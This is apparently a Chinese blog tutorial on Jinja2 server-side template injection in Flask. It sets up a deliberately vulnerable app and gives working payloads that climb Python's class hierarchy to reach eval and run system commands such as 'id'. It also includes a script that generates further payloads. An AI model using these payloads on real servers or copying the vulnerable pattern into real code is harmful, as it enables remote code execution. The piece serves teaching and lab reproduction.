SSTI是个啥?
SSTI即(server-side template injection)服务器模板,平时我们常用的有sql注入,xss注入,xml注入和命令注入等等。大家应该都知道sql注入的原理以及方式,而模板注入的原理也很类似都是通过输入一些指令在后端处理进行了语句的拼接然后执行。模板注入不同的是它是针对python、php、java、nodejs、javascript或是ruby的网站处理框架。
image沙盒逃逸的理解
我对沙盒的理解就好比虚拟机,即使被攻击也不会对真实的环境造成影响,当被病毒破坏后也十分容易重构。再讲一下蜜罐,蜜罐跟沙盒是完全不同的,沙盒的作用像是将恶意的软件放在一个封闭的盒子里进行测试,而蜜罐则是一个陷阱,专门引诱攻击者进行入侵,像是伪造了一个实际的网络,有文件服务器、web服务器等,在攻击者渗透的同时监视攻击者的行为从而分析攻击方式进行预防。
模板注入复现
首先搭建注入环境
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name)
return t.render()
if __name__ == "__main__":
app.run()
这是一个python的脚本文件,里面使用flask这个web框架以及jinja2是flask的模板。粗略的浏览了一下代码,大概知道网页就返回了一个hello guest的文本。因为要测试模板注入,所以我们用docker搭一下
docker-compose up -d
image
所谓的模板注入就是用户输入内容会作为模板内容,我们输入的值会被jinja2模板引擎渲染,举个例子通过get传参?name={{7*8}}可以得到
image据说是官网的利用方法:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
这里我们不懂这一大堆payload是个啥,不过看{{ b'eval' }}大概能知道通过eval方法执行命令,引用os执行系统命令通过id命令获取到当前用户id
分析payload中python模板方法
![捕获3](C:\Users\lincso\Desktop\ssti\捕获3.PNG)__class__返回调用的参数的所属类。
__base__返回基类
__mro__允许我们在当前Python环境下追溯继承树,大概意思就是返回了当前下所有的类
__subclasses__()返回子类
__init__重新调用方法----python的方法是可以在特定的时候被调用的
__globals__返回所有参数------所有函数都有有一个globals,他以一个dict形式返回所有变量
基类获取小姿势
''.__class__.__mro__[-1]
{}.__class__.__base__
().__class__.__base__
[].__class__.__base__
进阶调试
获取object的子类
''.__class__.__base__.__subclasses__()
查看子类的init
''.__class__.__base__.__subclasses__()[xx].__init__
wrapper是指这些函数并没有被重载,这时他们并不是function,不具有__globals__属性
image
''.__class__.__base__.__subclasses__()[30].__init__.__globals__
__globals__中会包括引入了的modules;同时每个python脚本都会自动加载 builtins 这个模块,而且这个模块包括了很多强大的built-in 函数,例如eval, exec, open等等。
所以要从内置变量出发找到一个可以达成payload的函数(eval, exec..),只需要随便从一个内置变量调用隐藏属性,找到任意一个函数,然后查看它的__globals__['__builtins __']
''.__class__.__base__.__subclasses__()[30].__init__.__globals__['__builtins__']['eval']('print('successful')')
批量脚本
大佬就是大佬,根据原理写了一个批量的payload脚本nice!!!
#!/usr/bin/python3
# coding=utf-8
# python 3.5
from flask import Flask
from jinja2 import Template
# Some of special names
searchList = ['__init__', "__new__", '__del__', '__repr__', '__str__', '__bytes__', '__format__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__', '__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__', '__call__', "__instancecheck__", '__subclasscheck__', '__len__', '__length_hint__', '__missing__','__getitem__', '__setitem__', '__iter__','__delitem__', '__reversed__', '__contains__', '__add__', '__sub__','__mul__']
neededFunction = ['eval', 'open', 'exec']
pay = int(input("Payload?[1|0]"))
for index, i in enumerate({}.__class__.__base__.__subclasses__()):
for attr in searchList:
if hasattr(i, attr):
if eval('str(i.'+attr+')[1:9]') == 'function':
for goal in neededFunction:
if (eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')):
if pay != 1:
print(i.__name__,":", attr, goal)
else:
print("{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='" + i.__name__ + "' %}{{ c." + attr + ".__globals__['__builtins__']." + goal + "(\"[evil]\") }}{% endif %}{% endfor %}")
将生成的payload填上就行,方便了呀
总结一下
通过python内置的变量得到built-in functions执行命令,globals使寻找过程更加方便,SSTI利用思路:无法直接导入模块就先到父类再去其他子类找。
网友评论